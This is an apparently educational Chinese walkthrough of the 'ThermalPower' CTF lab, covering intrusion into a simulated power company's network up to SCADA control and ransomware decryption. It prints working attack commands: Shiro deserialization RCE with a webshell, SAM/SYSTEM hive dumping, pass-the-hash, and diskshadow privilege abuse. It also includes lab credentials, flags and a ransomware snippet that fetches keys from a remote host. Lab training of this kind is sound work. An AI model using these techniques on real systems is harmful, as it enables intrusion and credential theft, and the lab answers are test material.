春秋云境-ThermalPower
字数 1763 2025-08-23 18:31:18
春秋云境-ThermalPower 渗透测试教学文档
场景概述
"火创能源"公司是一家电力生产企业,由于未充分重视网络安全威胁,错误地将敏感区域服务配置在公网上,导致外部APT组织可以轻松访问这些服务。攻击者最终控制了电力分配、生产流程和其他关键设备,并部署了勒索病毒。
场景关键词:内网渗透、Shiro、SCADA、工控安全
前置知识
- Windows提权技术:SeBackupPrivilege权限利用
- Heapdump内存泄露分析
- Shiro反序列化漏洞利用
- Windows注册表SAM转储技术
- .NET程序逆向分析
- RSA/AES加密算法及解密技术
工具准备
- 信息收集:fscan
- 目录扫描:dirsearch
- Shiro利用:ShiroAttack2
- 内网代理:frp
- 横向移动:impacket
- 提权工具:EnableSeBackupPrivilege.ps1
- 逆向工具:dnSpy
- 加密工具:SSL工具、RSA工具
攻击路径详解
第一关:公网服务评估与立足点建立
-
外网信息收集
fscan -h 121.89.201.231 -nobr -np发现开放端口:22(SSH)、8080(Web)
-
Web服务探测
- 发现Spring Boot Actuator端点暴露
- 目录扫描发现多个敏感端点:
/actuator/env /actuator/beans /actuator/heapdump
-
Heapdump内存泄露利用
- 下载内存转储文件:
http://121.89.201.231:8080/actuator/heapdump - 使用heapdump分析工具提取信息:
java -jar heapdump.jar "heapdump" > 1.txt - 发现Shiro密钥:
==CookieRememberMeManager(ShiroKey) algMode = CBC, key = QZYysgMYhG6/CzIJlVpR2g==, algName = AES
- 下载内存转储文件:
-
Shiro反序列化RCE
- 使用ShiroAttack2工具:
URL: http://121.89.201.231:8080 SHIRO KEY: QZYysgMYhG6/CzIJlVpR2g== 构造链: CommonsBeanutils1 回显方式: AllEcho - 注入冰蝎内存马,获取flag01:
flag01: flag{b5b1729d-3c03-4bb1-bb9c-056b2e68975f}
- 使用ShiroAttack2工具:
-
内网信息收集
- 发现内网IP:172.22.17.213
- 上传fscan进行内网扫描:
./fscan -h 172.22.17.213/24 -np -nobr - 发现关键资产:
172.22.17.6: WORKGROUP\WIN-ENGINEER
第二关:SCADA工程师PC接管与权限提升
-
敏感信息泄露
- 通过FTP匿名登录获取内部资料:
http://172.22.17.6/火创能源内部资料/SCADA.txt - 发现SCADA系统管理员凭据:
WIN-SCADA: 172.22.26.xx Username: Administrator Password: IYnT3GyCiy3 - 内部通知揭示密码策略:
初始密码 = 账户名(小写拼音) + @ + 工号
- 通过FTP匿名登录获取内部资料:
-
横向移动尝试
- 使用impacket工具尝试WMI执行:
python wmiexec.py chenhua:"chenhua@0813"@172.22.17.6 -codec gbk - 遇到
rpc_s_access_denied错误,改为RDP登录
- 使用impacket工具尝试WMI执行:
-
权限提升方法一:SeBackupPrivilege
- 检查当前权限:
whoami /priv - 启用SeBackupPrivilege:
Import-Module .\EnableSeBackupPrivilege.ps1 - 创建diskshadow脚本(s.dsh):
set context persistent nowriters add volume c: alias mydrive create expose %mydrive% z: - 执行备份并提取flag02:
diskshadow /s s.dsh robocopy /b z:\Users\Administrator\flag\ . flag02.txtflag02: flag{9086c9a7-0f32-4c7a-a29e-ce3ca30465d9}
- 检查当前权限:
-
权限提升方法二:注册表SAM转储
- 导出SAM和SYSTEM:
reg save hklm\sam c:\Temp\sam reg save hklm\system c:\Temp\system - 本地使用secretsdump提取哈希:
python secretsdump.py -sam sam -system system LOCAL - 使用管理员哈希登录获取flag02:
python wmiexec.py administrator@172.22.17.6 -hashes :f82292b7ac79b05d5b0e3d302bd0d279 -codec gbk
- 导出SAM和SYSTEM:
第三关:SCADA工程师站接管
-
内网信息收集
./fscan -h 172.22.26.213/24 -np发现目标:172.22.26.11 (WIN-SCADA)
-
使用获取的凭据登录
- RDP登录SCADA系统:
Username: Administrator Password: IYnT3GyCiy3 - 操作SCADA界面启动锅炉,获取flag03:
flag{bcd080d5-2cf1-4095-ac15-fa4bef9ca1c0}
- RDP登录SCADA系统:
第四关:数据库备份分析与勒索文件解密
-
发现勒索痕迹
- 桌面发现勒索信息
- 找到被加密的数据库文件:
ScadaDB.sql.locky - 发现勒索程序:
C:\Lockyou.exe
-
.NET程序逆向分析
- 使用dnSpy/dotPeek反编译Lockyou.exe
- 关键代码分析:
public AESCrypto() { this.BACKEND_URL = "http://39.101.170.47/"; this.PRIVATE_KEY = this.GetHttpContent(this.BACKEND_URL + "privateKey"); this.AES_KEY_ENC = this.GetHttpContent(this.BACKEND_URL + "encryptedAesKey"); this.AES_KEY = this.DecryptRSA(this.AES_KEY_ENC, this.PRIVATE_KEY); }
-
获取解密密钥
- 加密的AES密钥(encryptedAesKey):
lFmBs4qEhrqJJDIZ6PXvOyckwF/sqPUXzMM/IzLM/MHu9UhAB3rW/XBBoVxRmmASQEKrmFZLxliXq789vTX5AYNFcvKlwF6+Y7vkeKMOANMczPWT8UU5UcGi6PQLsgkP3m+Q26ZD9vKRkVM5964hJLVzogAUHoyC8bUAwDoNc7g= - RSA私钥(privateKey):
<RSAKeyValue> <Modulus>uoL2CAaVtMVp7b4/Ifcex2Artuu2tvtBO25JdMwAneu6gEPCrQvDyswebchA1LnV3e+OJV5kHxFTp/diIzSnmnhUmfZjYrshZSLGm1fTwcRrL6YYVsfVZG/4ULSDURfAihyN1HILP/WqCquu1oWo0CdxowMsZpMDPodqzHcFCxE=</Modulus> <Exponent>AQAB</Exponent> <P>2RPqaofcJ/phIp3QFCEyi0kj0FZRQmmWmiAmg/C0MyeX255mej8Isg0vws9PNP3RLLj25O1pbIJ+fqwWfUEmFw==</P> <Q>2/QGgIpqpxODaJLQvjS8xnU8NvxMlk110LSUnfAh/E6wB/XUc89HhWMqh4sGo/LAX0n94dcZ4vLMpzbkVfy5Fw==</Q> <DP>ulK51o6ejUH/tfK281A7TgqNTvmH7fUra0dFR+KHCZFmav9e/na0Q//FivTeC6IAtN5eLMkKwDSR1rBm7UPKKQ==</DP> <DQ>PO2J541wIbvsCMmyfR3KtQbAmVKmPHRUkG2VRXLBV0zMwke8hCAE5dQkcct3GW8jDsJGS4r0JsOvIRq5gYAyHQ==</DQ> <InverseQ>JS2ttB0WJm223plhJQrWqSvs9LdEeTd8cgNWoyTkMOkYIieRTRko/RuXufgxppl4bL9RRTI8e8tkHoPzNLK4bA==</InverseQ> <D>tuLJ687BJ5RYraZac6zFQo178A8siDrRmTwozV1o0XGf3DwVfefGYmpLAC1X3QAoxUosoVnwZUJxPIfodEsieDoxRqVxMCcKbJK3nwMdAKov6BpxGUloALlxTi6OImT6w/roTW9OK6vlF54o5U/4DnQNUM6ss/2/CMM/EgM9vz0=</D> </RSAKeyValue>
- 加密的AES密钥(encryptedAesKey):
-
解密流程
- 步骤1:将XML格式私钥转换为PEM格式
- 步骤2:使用RSA私钥解密encryptedAesKey得到AES_KEY
- 步骤3:使用AES_KEY解密ScadaDB.sql.locky
-
解密脚本实现
# RSA解密获取AES_KEY def rsa_decrypt(data): private_key = """-----BEGIN PRIVATE KEY-----...""" data = base64.b64decode(data) priobj = Cipher_pkcs1_v1_5.new(RSA.importKey(private_key)) return priobj.decrypt(data, None) # AES解密文件 def decrypt_file(encrypted_filepath, output_filepath, key): with open(encrypted_filepath, 'rb') as f: data = f.read() iv = b'\x00'*16 # 或从文件前16字节获取实际iv decryption_result = aes_cbc_decrypt(iv, key, data) with open(output_filepath, 'wb') as f: f.write(decryption_result) # 主流程 encryptedAesKey = "lFmBs4qEhrqJJDIZ6PXvOyckwF/sqPUXzMM..." key = rsa_decrypt(encryptedAesKey) decrypt_file("ScadaDB.sql.locky", "ScadaDB.sql", key) -
获取flag04
- 解密后分析ScadaDB.sql文件,得到:
flag04: flag{63cd8cd5-151f-4f29-bdc7-f80312888158}
- 解密后分析ScadaDB.sql文件,得到:
总结与防护建议
攻击路径总结
- 通过暴露的Actuator端点获取Heapdump
- 从内存中提取Shiro密钥实现RCE
- 内网横向移动至工程师PC
- 利用SeBackupPrivilege或SAM转储提权
- 接管SCADA工程师站
- 逆向分析勒索软件解密数据库
安全防护建议
-
公网服务安全
- 限制Actuator端点的访问
- 避免使用默认或弱加密密钥
- 及时更新存在漏洞的框架
-
内网安全
- 实施网络分段隔离
- 禁用不必要的共享和匿名访问
- 定期审计内部文档存储安全
-
权限管理
- 遵循最小权限原则
- 监控特权账户的使用
- 禁用或限制SeBackupPrivilege等危险权限
-
工控系统安全
- 工控系统与办公网络严格隔离
- 实施多因素认证
- 建立操作审计日志
-
数据安全
- 实施定期备份
- 加密敏感数据
- 制定应急响应计划应对勒索攻击